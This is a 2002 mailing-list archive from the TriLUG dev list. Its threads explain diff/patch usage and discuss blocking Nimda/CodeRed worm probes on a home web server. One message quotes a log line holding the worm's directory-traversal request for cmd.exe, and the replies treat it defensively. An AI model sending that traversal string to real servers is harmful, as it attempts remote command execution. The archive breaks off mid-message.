(IDENT:/4pRFFwSlfuXAZOi2ubBGqF5/Fbw5Y1L@user-0c8h0ct.cable.mindspring.com [24.136.129.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id MAA21370 for ; Thu, 28 Feb 2002 12:30:58 -0500 Received: (from jmm@localhost) by bp6.sublogic.com (8.11.6/8.11.2) id g1SHWxt00964 for dev@trilug.org; Thu, 28 Feb 2002 12:32:59 -0500 Resent-Message-Id: <200202281732.g1SHWxt00964@bp6.sublogic.com> Date: Thu, 28 Feb 2002 12:32:32 -0500 From: James Manning To: kernelnewbies@nl.linux.org Message-ID: <20020228123232.T24174@bp6.sublogic.com> Mail-Followup-To: James Manning , kernelnewbies@nl.linux.org References: <3C7E5D4E.397ACF8@videotron.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3C7E5D4E.397ACF8@videotron.ca>; from filiond@videotron.ca on Thu, Feb 28, 2002 at 11:39:42AM -0500 Resent-From: jmm@sublogic.dyndns.org Resent-Date: Thu, 28 Feb 2002 12:32:59 -0500 Resent-To: dev@trilug.org Subject: [Dev] Re: embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [David Filion] > 1.1 Create the patch > diff -c -b -r /original /new > filename.patch > > diff options: > -c Produces a listing of differences with three lines of context. > -b Ignores trailing blanks (spaces and tabs) and treats other strings > of blanks as equivalent. > -r Applies diff recursively to common subdirectories encountered. > > 1.2 Apply the patch > patch -c -l -p1 -d /original < filename.patch I'd leave out this section personally - mainly just cuz I'm a big fan of unified diffs and anything that helps ppl avoid the older versions is a Good Thing IMHO :) > 2.0 Using newer/GNU diff and patch utilities. > Unlike their older counterparts, the newer/GNU versions of diff > understand the unified format of patch file. This is the format used > by the Linux kernel developers. ... and most other Free Software projects, AFAICT :) > diff options: > -u Output (default 2) lines of unified context. default's been 3 for as long as I can remember - prob. just a typo? > patch options: > -p NUM Strip NUM leading components from file names. This is really the key point ppl need to understand in my exp. > 3.0 Creating a patch using CVS. > A patch is created in CVS using the rdiff cvs command. "cvs diff" works well for local mods, like for checking before a commit (to make sure you're not commit'ing things you don't want to). In many cases you don't want to diff against two things that are checked in, but against local mods to a branch. > 3.1 Create the patch. > > o Create a context (default) format diff of release tags rel1 and > rel2 for module. > cvs rdiff -r rel1 -r rel2 module > > o Create a unidiff format diff of release tags rel1 and rel2 > for module. > cvs rdiff -u -r rel1 -r rel2 module Pedantic, but for the sake of consistency it's prob. woth including the "> filename.patch" part for clarity. Great doc! Wish I had it around back when I was learning diff/patch :) James -- James Manning GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 From nathan@natejoke.dhs.org Thu Feb 28 13:33:47 2002 Received: from natejoke.dhs.org (rdu26-232-185.nc.rr.com [66.26.232.185]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA21759 for ; Thu, 28 Feb 2002 13:33:46 -0500 From: nathan@natejoke.dhs.org Received: (from nathan@localhost) by natejoke.dhs.org (8.11.2/8.11.2) id g1SIT7402572 for dev@trilug.org; Thu, 28 Feb 2002 13:29:07 -0500 Date: Thu, 28 Feb 2002 13:29:07 -0500 To: dev@trilug.org Message-ID: <20020228182907.GA2550@natejoke.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i X-Mailer: Mutt http://www.mutt.org/ Subject: [Dev] Blocking MTD's Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: MTD = Microsoft Transmitted Diseases I run my own webserver. It's a pentium 90mhz with 48 megs of ram, and 1.5 gigs of disk. I am quite tired of seeing a line like the following in my apache log files: 66.20.67.210 - - [28/Feb/2002:05:44:58 -0500] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 224 Sure I can ignore those lines, or write a cron job to remove them from the log file all together, but it's the principle involved; the waste of bandwidth, firing up my disk every few minutes, etc. etc. I can add the following command to never see packets from that IP again: iptables -A INPUT -s 66.20.67.210 -j DROP ( I don't care if whoever is at that address can't access my page, chances are it's some script kiddie, or an infected server, and even if it is someone I know, and I can just remove that line from my firewall config to grant them access again. ) Right now I have a script that reads the log file, and automatically DROP's the packets from whomever looks like an MTD spreader. This is little better than the problem though, as it fires up my harddisk every few minutes. (I'll be happy to share this perl script if anyone wants to see it. ) Also, by the time I drop them, I've already got 10+ entries in the log file from that IP, and I will only be blocking future packets from that IP. In other words... the annoyance has already happend. ( Is that a word? ) Is it possible to have the firewall ( iptables v1.2.1a on RH7.2 ) inspect the contents of each packet for signatures of MTD's? If not, is there a way to have apache log it's ouput to both a file and a program? That way, my perl script would only cause disk activity by writing a new rule to the firewall. Any questions or comments would be greatly appreciated. My apologies if this does not fit the usual forum topic parameters. Thank you for your time, Nathan Harrington From john@radiomind.com Thu Feb 28 14:19:52 2002 Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA22019 for ; Thu, 28 Feb 2002 14:19:52 -0500 Received: by marconi.radiomind.com (Postfix, from userid 1000) id 2496F1B866; Thu, 28 Feb 2002 14:21:42 -0500 (EST) Date: Thu, 28 Feb 2002 14:21:42 -0500 To: dev@trilug.org Subject: Re: [Dev] Blocking MTD's Message-ID: <20020228192141.GA19359@radiomind.com> References: <20020228182907.GA2550@natejoke.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020228182907.GA2550@natejoke.dhs.org> User-Agent: Mutt/1.3.27i X-message-flag: Get yourself a real email client. http://www.mutt.org/ Xyzzy: Nothing happens! Reply-By: Thu, 28 Feb 2002 10:01:41 -0500 From: john@radiomind.com (John Beimler) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: quotation from nathan [on 020228 13:36]: > MTD = Microsoft Transmitted Diseases > > [...] > > Is it possible to have the firewall ( iptables v1.2.1a on RH7.2 ) > inspect the contents of each packet for signatures of MTD's? > Check out snort - http://www.snort.org/ Peace. john From johndavi@us.ibm.com Thu Feb 28 14:44:12 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA22141 for ; Thu, 28 Feb 2002 14:44:11 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA106436; Thu, 28 Feb 2002 13:41:01 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1SJk2g28124; Thu, 28 Feb 2002 14:46:04 -0500 Importance: Normal Sensitivity: To: kernelnewbies@nl.linux.org, dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 28 Feb 2002 14:46:02 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/28/2002 02:46:04 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Re: embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Thanks for the reply, but my original question still exists. Here is your answer: 2.1 Create the patch diff -u oldfile newfile > filename.patch or diff -urN /olddir /newdir > filename.patch or diff -urN -X excludes /olddir /newdir > filename.patch diff options: -u Output (default 2) lines of unified context. -r Recursively compare any subdirectories found. -N Treat absent files as empty. -X FILE Exclude files that match any pattern in FILE. Note: The -u options can be replaced with -c to create a context format diff file with a setting of two lines. 2.2 Apply the patch gzip -cd patch.gz | patch -p0 or bzip2 -dc patch.bz2 | patch -p0 or patch -p0 < filename.patch patch options: -p NUM Strip NUM leading components from file names. Here is my original question: > I think this is right. However, it would be great if someone would clear > up the bit > about the target directory. Does the target directory have to called the > same as the > "patched" or "orig" directory? Is there a way to specify or edit the patch > file so > that the end user can have their own custom directory name. For instance, > I used foo and foo.orig, but the end user might have directory names > like foo2 or foo.nfs, etc. > Put another way, in your step 2.2, what is the implied directory name used for the patch? What is the p1 or p0 bit? Is that supposed to somehow strip the leading direcotry name or something? When you issue that comand, are you in the parent directory which owns the kernel directory to be patched or are you in the directory to be patched? eg.: ls /usr/local/ foo foo.orig cd foo patch -p0 < patchfile or ls /usr/local foo foo.orig patchfile patch -p0 < patchfile David Filion on 02/28/2002 11:39:42 AM To: John F Davis/Raleigh/IBM@ibmus cc: dev@trilug.org, kernelnewbies@nl.linux.org Subject: Re: embarrassing patch question John F Davis wrote: > > Hello > > Ok. I've been using patch and I've asked some questions about it on IRC, > but I'm still not > sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". So, > please correct me. > > I want to create a patch file to give to my co-workers and instructions on > how to use it. > > With that said, here is the scenario: > > I have a original directory called foo.orig and a "up-to-date" directory > called foo.latest. > So, I created a patch file using this syntax: > diff -Naur foo.orig foo.latest > foo.patch > > Then to apply the patch, I did: > patch -p1 foo < foo.patch > or > patch -p1 foo.orig < foo.patch > I can't remember which one I did. > > I think this is right. However, it would be great if someone would clear > up the bit > about the target directory. Does the target directory have to called the > same as the > "patched" or "orig" directory? Is there a way to specify or edit the patch > file so > that the end user can have their own custom directory name. For instance, > I used foo and foo.orig, but the end user might have directory names > like foo2 or foo.nfs, etc. > > JD > > -- > Kernelnewbies: Help each other learn about the Linux kernel. > Archive: http://mail.nl.linux.org/kernelnewbies/ > IRC Channel: irc.openprojects.net / #kernelnewbies > Web Page: http://www.kernelnewbies.org/ I threw together something a while ago when I was in the same situation, I've included it below. Because we are using Solaris at work, it covers the older and newer versions of diff/patch. HTH David Filion --- Start of doc --- Creating a patch Below is a cheat sheet for creating and applying patch files. For more details about each command, check the commands manpage, info document or try "command --help". 1.0 Using older versions of diff/patch. The older diff/patch utilities don't understand the newer unified format. Thus, the older conext format must be used. Thus the -c option that appears. 1.1 Create the patch diff -c -b -r /original /new > filename.patch diff options: -c Produces a listing of differences with three lines of context. -b Ignores trailing blanks (spaces and tabs) and treats other strings of blanks as equivalent. -r Applies diff recursively to common subdirectories encountered. 1.2 Apply the patch patch -c -l -p1 -d /original < filename.patch patch options: -c Interpret the patch file as a context difference (the output of the command diff when the -c or -C options are specified). -l Cause any sequence of blank characters in the difference script to match any sequence of blank characters in the input file. Other characters will be matched exactly. -d Change the current directory to dir before processing. -p NUM Strip NUM leading components from file names. 2.0 Using newer/GNU diff and patch utilities. Unlike their older counterparts, the newer/GNU versions of diff understand the unified format of patch file. This is the format used by the Linux kernel developers. 2.1 Create the patch diff -u oldfile newfile > filename.patch or diff -urN /olddir /newdir > filename.patch or diff -urN -X excludes /olddir /newdir > filename.patch diff options: -u Output (default 2) lines of unified context. -r Recursively compare any subdirectories found. -N Treat absent files as empty. -X FILE Exclude files that match any pattern in FILE. Note: The -u options can be replaced with -c to create a context format diff file with a setting of two lines. 2.2 Apply the patch gzip -cd patch.gz | patch -p0 or bzip2 -dc patch.bz2 | patch -p0 or patch -p0 < filename.patch patch options: -p NUM Strip NUM leading components from file names. 3.0 Creating a patch using CVS. A patch is created in CVS using the rdiff cvs command. 3.1 Create the patch. o Create a context (default) format diff of release tags rel1 and rel2 for module. cvs rdiff -r rel1 -r rel2 module o Create a unidiff format diff of release tags rel1 and rel2 for module. cvs rdiff -u -r rel1 -r rel2 module cvs rdiff options: -r tag Use revision -u Use the unidiff format. -c Use the context format (default). Copyright (c) David Filion (filiond@videotron.ca) Created 2001/09/12. From ed@eh3.com Thu Feb 28 15:07:13 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA22286 for ; Thu, 28 Feb 2002 15:07:12 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g1SK98G02206; Thu, 28 Feb 2002 13:09:08 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] Re: embarrassing patch question From: Ed Hill To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 28 Feb 2002 13:09:08 -0700 Message-Id: <1014926948.1110.55.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi John, I think the patch man page does a fairly good job of explaining it: -pnum or --strip=num Strip the smallest prefix containing num leading slashes from each file name found in the patch file. A sequence of one or more adjacent slashes is counted as a single slash. This controls how file names found in the patch file are treated, in case you keep your files in a different directory than the person who sent out the patch. For example, supposing the file name in the patch file was /u/howard/src/blurfl/blurfl.c setting -p0 gives the entire file name unmodified, -p1 gives u/howard/src/blurfl/blurfl.c without the leading slash, -p4 gives blurfl/blurfl.c and not specifying -p at all just gives you blurfl.c. Whatever you end up with is looked for either in the current directory, or the directory specified by the -d option. So, you specify a level in the -p option that is sufficient to strip away enough leading path entries so that it matches the path that fits with your current directory setup. Thus, you never *have* to have a single file in the same directory name it was in when you created the patch (if that patch is for a single file)! Extending the above example, the pattern is: -p0 ==> /u/howard/src/blurfl/blurfl.c -p1 ==> u/howard/src/blurfl/blurfl.c -p2 ==> howard/src/blurfl/blurfl.c -p3 ==> src/blurfl/blurfl.c -p4 ==> blurfl/blurfl.c -p5 ==> blurfl.c For a patch containing a set of changes to multiple files in a directory tree composed of multiple levels of directories, you will want to keep the directory names the same up to the root of the tree. That is, the patch should apply cleanly if all the subdirs have the same names but the root directory of the tree can have a different name (which you can strip away using the appropriate -p[n] setting). hth, Ed On Thu, 2002-02-28 at 12:46, John F Davis wrote: > > Hello > > Thanks for the reply, but my original question still exists. > > Here is your answer: > > 2.1 Create the patch > diff -u oldfile newfile > filename.patch > or diff -urN /olddir /newdir > filename.patch > or diff -urN -X excludes /olddir /newdir > filename.patch > > diff options: > -u Output (default 2) lines of unified context. > -r Recursively compare any subdirectories found. > -N Treat absent files as empty. > -X FILE Exclude files that match any pattern in FILE. > > Note: The -u options can be replaced with -c to create a context format > diff > file with a setting of two lines. > > 2.2 Apply the patch > gzip -cd patch.gz | patch -p0 > or bzip2 -dc patch.bz2 | patch -p0 > or patch -p0 < filename.patch > > patch options: > -p NUM Strip NUM leading components from file names. > > > Here is my original question: > > > > I think this is right. However, it would be great if someone would clear > > up the bit > > about the target directory. Does the target directory have to called the > > same as the > > "patched" or "orig" directory? Is there a way to specify or edit the > patch > > file so > > that the end user can have their own custom directory name. For > instance, > > I used foo and foo.orig, but the end user might have directory names > > like foo2 or foo.nfs, etc. > > > > Put another way, in your step 2.2, what is the implied directory name used > for the patch? What is the p1 or p0 bit? Is that supposed to > somehow strip the leading direcotry name or something? When you issue that > comand, are you in the parent directory which owns > the kernel directory to be patched or are you in the directory to be > patched? > > eg.: > > ls /usr/local/ > foo foo.orig > > cd foo > patch -p0 < patchfile > > or > > ls /usr/local > foo foo.orig patchfile > patch -p0 < patchfile > > > > David Filion on 02/28/2002 11:39:42 AM > > > > > > To: John F Davis/Raleigh/IBM@ibmus > cc: dev@trilug.org, kernelnewbies@nl.linux.org > Subject: Re: embarrassing patch question > > > > John F Davis wrote: > > > > Hello > > > > Ok. I've been using patch and I've asked some questions about it on IRC, > > but I'm still not > > sure about how to use it "CORRECTLY" or in the "PRESCRIBED-METHOD". So, > > please correct me. > > > > I want to create a patch file to give to my co-workers and instructions > on > > how to use it. > > > > With that said, here is the scenario: > > > > I have a original directory called foo.orig and a "up-to-date" directory > > called foo.latest. > > So, I created a patch file using this syntax: > > diff -Naur foo.orig foo.latest > foo.patch > > > > Then to apply the patch, I did: > > patch -p1 foo < foo.patch > > or > > patch -p1 foo.orig < foo.patch > > I can't remember which one I did. > > > > I think this is right. However, it would be great if someone would clear > > up the bit > > about the target directory. Does the target directory have to called the > > same as the > > "patched" or "orig" directory? Is there a way to specify or edit the > patch > > file so > > that the end user can have their own custom directory name. For > instance, > > I used foo and foo.orig, but the end user might have directory names > > like foo2 or foo.nfs, etc. > > > > JD > > > > -- > > Kernelnewbies: Help each other learn about the Linux kernel. > > Archive: http://mail.nl.linux.org/kernelnewbies/ > > IRC Channel: irc.openprojects.net / #kernelnewbies > > Web Page: http://www.kernelnewbies.org/ > > > I threw together something a while ago when I was in the same > situation, I've included it below. Because we are using Solaris > at work, it covers the older and newer versions of diff/patch. > > HTH > David Filion > > --- Start of doc --- > > Creating a patch > > Below is a cheat sheet for creating and applying patch files. For more > details about each command, check the commands manpage, info document or > try "command --help". > > > 1.0 Using older versions of diff/patch. > The older diff/patch utilities don't understand the newer unified > format. Thus, the older conext format must be used. Thus the -c > option that appears. > > 1.1 Create the patch > diff -c -b -r /original /new > filename.patch > > diff options: > -c Produces a listing of differences with three lines of context. > -b Ignores trailing blanks (spaces and tabs) and treats other strings > of blanks as equivalent. > -r Applies diff recursively to common subdirectories encountered. > > 1.2 Apply the patch > patch -c -l -p1 -d /original < filename.patch > > patch options: > -c Interpret the patch file as a context difference (the output of > the command diff when the -c or -C options are specified). > -l Cause any sequence of blank characters in the difference script > to match any sequence of blank characters in the input file. > Other characters will be matched exactly. > -d Change the current directory to dir before processing. > -p NUM Strip NUM leading components from file names. > > 2.0 Using newer/GNU diff and patch utilities. > Unlike their older counterparts, the newer/GNU versions of diff > understand the unified format of patch file. This is the format used > by the Linux kernel developers. > > 2.1 Create the patch > diff -u oldfile newfile > filename.patch > or diff -urN /olddir /newdir > filename.patch > or diff -urN -X excludes /olddir /newdir > filename.patch > > diff options: > -u Output (default 2) lines of unified context. > -r Recursively compare any subdirectories found. > -N Treat absent files as empty. > -X FILE Exclude files that match any pattern in FILE. > > Note: The -u options can be replaced with -c to create a context format > diff > file with a setting of two lines. > > 2.2 Apply the patch > gzip -cd patch.gz | patch -p0 > or bzip2 -dc patch.bz2 | patch -p0 > or patch -p0 < filename.patch > > patch options: > -p NUM Strip NUM leading components from file names. > > 3.0 Creating a patch using CVS. > A patch is created in CVS using the rdiff cvs command. > > 3.1 Create the patch. > > o Create a context (default) format diff of release tags rel1 and > rel2 for module. > cvs rdiff -r rel1 -r rel2 module > > o Create a unidiff format diff of release tags rel1 and rel2 > for module. > cvs rdiff -u -r rel1 -r rel2 module > > cvs rdiff options: > -r tag Use revision > -u Use the unidiff format. > -c Use the context format (default). > > > Copyright (c) David Filion (filiond@videotron.ca) > Created 2001/09/12. > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev > -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From EdV@macrolink.com Thu Feb 28 15:32:39 2002 Received: from exchange.macrolink.com (exchange.macrolink.com [64.173.88.99]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA22448 for ; Thu, 28 Feb 2002 15:32:39 -0500 Received: by EXCHANGE with Internet Mail Service (5.5.2653.19) id ; Thu, 28 Feb 2002 12:34:37 -0800 Message-ID: <11E89240C407D311958800A0C9ACF7D13A76C3@EXCHANGE> From: Ed Vance To: "'John F Davis'" Cc: kernelnewbies@nl.linux.org, dev@trilug.org Date: Thu, 28 Feb 2002 12:34:36 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [Dev] RE: embarrassing patch question Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thu, Feb 28, 2002 at 11:46 AM, John F Davis wrote: > Put another way, in your step 2.2, what is the implied > directory name used for the patch? What is the p1 or > p0 bit? Is that supposed to somehow strip the leading > directory name or something? Yes, the digit after the "-p" tells patch how many leading directory names to ignore. These are the directory names that are found inside the patch.file itself. Most kernel patches are designed to be used with "-p1" because it allows the author to have a completely bogus top level directory that labels what version is to be patched. For example, the top three lines of one of my patches: diff -urN -X dontdiff.txt linux-2.4.18-rc1/drivers/pci/pci.ids rc1-ml/drivers/pci/pci.ids --- linux-2.4.18-rc1/drivers/pci/pci.ids Fri Feb 15 14:24:19 2002 +++ rc1-ml/drivers/pci/pci.ids Fri Feb 15 14:49:07 2002 I would expect the user of the patch to execute patch in his top level source tree directory, perhaps named /usr/src/my-linux, with the -p1 specified so patch ignores the "linux-2.4.18-rc1" directory specified on the "---" line, and the "rc1-ml" directory specified on the "+++" line of my patch.file. Thus patch is looking for directory drivers/pci ... which it will find in its current directory, /usr/src/my-linux. The directory where patch will look for the file to be patched, pci.ids, is /usr/src/my-linux/drivers/pci. My leading directory name was chosen to inform the user that this patch was created from the version 2.4.18-rc1 kernel files. > When you issue that > command, are you in the parent directory which owns > the kernel directory to be patched or are you in the > directory to be patched? Is it clearer now? Patch ignores the leading directories that you tell it to ignore, and looks for the rest of the specified path in it's current directory. Best regards, ---------------------------------------------------------------- Ed Vance edv@macrolink.com Macrolink, Inc. 1500 N. Kellogg Dr Anaheim, CA 92807 ---------------------------------------------------------------- From jmm@sublogic.com Thu Feb 28 15:43:11 2002 Received: from bp6.sublogic.com (IDENT:2F60V3gRj+pieIkRTQoCh3R0WtvePFgY@user-0c8h0ct.cable.mindspring.com [24.136.129.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA22500 for ; Thu, 28 Feb 2002 15:43:10 -0500 Received: (from jmm@localhost) by bp6.sublogic.com (8.11.6/8.11.2) id g1SKjBs01617 for dev@trilug.org; Thu, 28 Feb 2002 15:45:11 -0500 Date: Thu, 28 Feb 2002 15:45:11 -0500 From: James Manning To: dev@trilug.org Message-ID: <20020228154511.X24174@bp6.sublogic.com> References: <20020228182907.GA2550@natejoke.dhs.org> <20020228192141.GA19359@radiomind.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020228192141.GA19359@radiomind.com>; from john@radiomind.com on Thu, Feb 28, 2002 at 02:21:42PM -0500 Subject: [Dev] Re: Blocking MTD's Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [John Beimler] > > Is it possible to have the firewall ( iptables v1.2.1a on RH7.2 ) > > inspect the contents of each packet for signatures of MTD's? > > Check out snort - http://www.snort.org/ A friend of mine also went the route of dropping 80 traffic and popping his httpd up to 8080 - being able to ignore port 80 traffic altogether's kind of nice, but that may not be an option. Oh, yeah, binding to a non-priv port (never needing root) is cool too. -- James Manning GPG Key fingerprint = B913 2FBD 14A9 CE18 B2B7 9C8E A0BF B026 EEBB F6E4 From mike@enoch.org Thu Feb 28 15:51:33 2002 Received: from fiend.enoch.org (fiend.enoch.org [24.162.238.9]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA22552 for ; Thu, 28 Feb 2002 15:51:33 -0500 Received: by fiend.enoch.org (Postfix, from userid 1000) id 96245824; Thu, 28 Feb 2002 16:00:13 -0500 (EST) Date: Thu, 28 Feb 2002 16:00:13 -0500 From: Mike Johnson To: dev@trilug.org Subject: Re: [Dev] Blocking MTD's Message-ID: <20020228210013.GF4042@enoch.org> References: <20020228182907.GA2550@natejoke.dhs.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="9dgjiU4MmWPVapMU" Content-Disposition: inline In-Reply-To: <20020228182907.GA2550@natejoke.dhs.org> User-Agent: Mutt/1.3.25i Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --9dgjiU4MmWPVapMU Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable First, not to get in another 'list war', you'd get better responses for this from the main TriLUG list. That said... nathan@natejoke.dhs.org [nathan@natejoke.dhs.org] wrote: =20 > XX.XX.XX.XXX - - [28/Feb/2002:05:44:58 -0500] "GET > /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 224 A couple things. That's going to be Nimda or CodeRed, almost certainly. Second, given that this is likely Nimda or CodeRed, you've just posted the IP address of a system that's easily compromised to a public list. Congratulations. =20 > Right now I have a script that reads the log file, and automatically > DROP's the packets from whomever looks like an MTD spreader. This is > little better than the problem though, as it fires up my harddisk every > few minutes. (I'll be happy to share this perl script if anyone wants > to see it. ) Also, by the time I drop them, I've already got 10+ entries = in > the log file from that IP, and I will only be blocking future packets > from that IP. In other words... the annoyance has already happend. ( Is > that a word? ) So, you just want the log entries to go away? Check out: http://online.securityfocus.com/archive/75/215203 By using that, your disk is never fired up and you can get rid of the log entries. If you really want to automatically set drop rules, look at: http://www.keyslapper.org/Nimda/ And modify it so that rather than sending an e-mail, it=20 adds a new drop entry. =20 > Is it possible to have the firewall ( iptables v1.2.1a on RH7.2 ) > inspect the contents of each packet for signatures of MTD's? There is a patch to netfilter that allows for string matching, but it's really not very robust. If you want to look into it, you'll need to fetch the latest netfilter from: http://www.netfilter.org/downloads.html and compile with string matching support. You could also look at Hogwash (http://hogwash.sourceforge.net/) which can do blocking based on packet contents. It's based on snort, but snort does not do any blocking (and will just create more data to sift through, if you don't care). =20 > If not, is there a way to have apache log it's ouput to both a file and > a program? That way, my perl script would only cause disk activity by > writing a new rule to the firewall. Look at the rewrite rules from the securityfocus link, or the Nimda mod_perl module (linked above). =20 > My apologies if this does not fit the usual forum topic parameters. Again, you can post here all ya want, but you'll get -better- answers on the main trilug discuss list. Mike --=20 "Let the power of Ponch compel you! Let the power of Ponch compel you!" -- Zorak on Space Ghost GNUPG Key fingerprint =3D ACD2 2F2F C151 FB35 B3AF C821 89C4 DF9A 5DDD 95D1 GNUPG Key =3D http://www.enoch.org/mike/mike.pubkey.asc --9dgjiU4MmWPVapMU Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (OpenBSD) Comment: For info see http://www.gnupg.org iD8DBQE8fppcicTfml3dldERAj2WAJ9kb7DUp59bT9JT6TUTbkysuPTlqQCeMSsF j9m9tD9ToepUwFosh/KUaJ4= =hKYG -----END PGP SIGNATURE----- --9dgjiU4MmWPVapMU-- From johndavi@us.ibm.com Thu Feb 28 15:54:31 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA22583 for ; Thu, 28 Feb 2002 15:54:31 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA56056 for ; Thu, 28 Feb 2002 14:51:21 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g1SKuWg212586 for ; Thu, 28 Feb 2002 15:56:32 -0500 Importance: Normal Sensitivity: Subject: Re: [Dev] Re: embarrassing patch question To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: "John F Davis" Date: Thu, 28 Feb 2002 15:56:31 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9 |November 16, 2001) at 02/28/2002 03:56:31 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello Thanks for pointing out your man page opinions, but I read it a long time ago and many times since. Maybe I need to be clear on my question so I won't be given simple answers like read the man page. I'm 